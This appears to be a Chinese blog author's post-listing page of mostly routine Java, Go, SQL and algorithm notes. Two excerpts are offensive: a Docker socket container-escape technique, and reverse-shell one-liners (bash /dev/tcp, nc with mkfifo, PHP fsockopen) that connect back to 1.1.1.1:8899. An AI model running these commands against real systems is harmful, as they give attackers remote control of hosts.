- 博客(18)
- 收藏
- 关注
原创 关于docker in docker的利用
首先判断是否为docker环境,是否存在docker.sock文件,以及判断docker命令是否能够使用来打印主机信息docker -H unix:///host/var/run/docker.sock info反弹shell的环境下无法进入容器终端,无法使用-it进入容器内部启动一个新的容器,虚拟机根目录挂载到容器test目录下 docker -H unix:///host/var/run/docker.sock run -v /:/test ubuntu可以直接对容器使用docker
2022-04-13 21:36:18 3437
原创 反弹shell的方式
bash -c 'exec bash -i &>/dev/tcp/1.1.1.1/8899 <&1'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1.1.1.1 8899 >/tmp/fphp -r '$sock=fsockopen(getenv("1.1.1.1"),getenv("8899"));exec("/bin/sh -i <&3 >&3 2>&a
2021-05-27 08:46:12 256 1
原创 二叉树的层序遍历
二叉树的层序遍历需要借助队列来实现public List<List<Integer>> levelOrder(TreeNode root) { //如果为空 就直接返回 if (root == null){ return new ArrayList<>(); } // 创建结果集 List<List<Integer>> res = new A
2020-12-14 10:26:55 111
转载 2020-09-25
https://leetcode-cn.com/problems/linked-list-cycle-ii/solution/linked-list-cycle-ii-kuai-man-zhi-zhen-shuang-zhi-/
2020-09-25 14:54:48 117
原创 异常Exception in thread "http-nio-8888-exec-6" java.lang.IllegalStateException: It is illegal to call
Exception in thread “http-nio-8888-exec-6” java.lang.IllegalStateException: It is illegal to callthis method if the current request is not in asynchronous mode (i.e. isAsyncStarted() returns false)原...
2019-11-23 00:20:19 2872
原创 位运算 原码 补码 反码
func main() { fmt.Println(-5^-6) fmt.Println(-2|-4) fmt.Println(-5&-8)}结果 1 -2 -8(-5^-6) : -5 是负数 第一位位符号位 所以是 原码 1000 0101(以八位表示) 反码 (符号位不变其他i相反) 1111 1010 ( 补码)为反码 加一 位 1111 1011-6...
2019-11-17 15:18:31 217
原创 常见约束
#常见约束/*六大约束1 not null:非空约束 用于保证该字段不为空2 default :默认 用于保证该字段有默认值3 primary key 主键 用于保证该字段的唯一性,并且非空4 UNIQUE :唯一 保证该字段的唯一性 可以为空5 cheak :检查约束(mysql不支持)6 FOREIGN key: 限制两个表之间的关系添加约束的时机1 创建表时2 修改表...
2019-11-08 10:02:19 144
原创 mysql表的修改
CREATE table book (id int(11) PRIMARY key ,b_name VARCHAR(11),price DOUBLE,author_id VARCHAR(11),publishDate datetime);desc bookCREATE table author (id int(11) PRIMARY key ,au_name VARCHAR(1...
2019-11-08 10:01:06 115
转载 count(1) ,count(*),count(列名)区别
执行效果:count(1) and count(*)当表的数据量大些时,对表作分析之后,使用count(1)还要比使用count(*)用时多了!从执行计划来看,count(1)和count()的效果是一样的。但是在表做过分析之后,count(1)会比count()的用时少些(1w以内数据量),不过差不了多少。如果count(1)是聚索引,id,那肯定是count(1)快。但是差的很小的...
2019-11-03 15:24:48 330
原创 标量子查询
#标量子查询##where having面SELECT salary from employees where last_name=“abel”SELECT * from employees where salary>(SELECT salaryfrom employeeswhere last_name=‘abel’);#返回job_id于 141号员工相同的,salary 比...
2019-11-01 10:21:29 202
原创 笛卡尔积
#多表查询/*分类 :按年代分类sql99 (不支持全外连接)内连接 : 等值连接 非等值连接 自链接外连接 : 左外连接 右连接 全外连接交叉连接*/SELECT name,boyname from boys,beauty where boys.id=beauty.boyfriend_idSELECT last_name ,department_name from employ...
2019-11-01 10:20:57 139
原创 分组查询
SELECT count(),department_id from employees GROUP BY department_id HAVING count()>2;#按表达式进行分组SELECT count() ,LENGTH(last_name) from employees GROUP BY LENGTH(last_name) HAVING count()>5 ORDER ...
2019-11-01 10:20:29 102
原创 数据库聚合函数(统计函数)
#分组函数 又称统计函数sum求和 avg求平均值 max最大值 min最小值 count统计个数/*特点:1 .sum avg 一般用于处理数值型 max min count 可以处理任何类型2 忽略null值3可以和distinct搭配4统计行数 count(*)5 和分组函数一同查询的字段要求是group by 后的字段*/SELECT sum(id) FROM stu...
2019-10-27 00:13:26 1830 1
原创 mysql的笔记
select length(‘张三丰’);#用于获取参数的字节个数show VARIABLES like ‘%char%’SELECT CONCAT(id,’_’,dept_id) 名字 from stuinfoSELECT UPPER(‘join’)SELECT LOWER(‘Join’)CREATE TABLE student(id int(4) PRIMARY key ,fir...
2019-10-26 22:18:15 89
原创 Java中关于Stream流的一些用法
基本事例 ArrayList<String> list=new ArrayList(); list.add("林青霞"); list.add("张曼玉"); list.add("王祖贤"); list.add("柳岩"); list.add("张敏"); list.add("朱茵");...
2019-10-26 11:02:09 165
原创 设置守护线程,让finally语句不在继续执行
finally语句一定会执行?Thread thread1 = new Thread(() -> { try { System.out.println("执行try"); TimeUnit.MILLISECONDS.sleep(10); } catch (Exception e)...
2019-10-23 22:36:13 243
原创 map的遍历方法
在这里插入代码片```public class Map4 { static Map<String, Integer> map=new HashMap<String, Integer>(); public static void main(String[] args) { map.put("first",1); map.put("second", 2); m...
2019-10-22 21:59:14 385
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人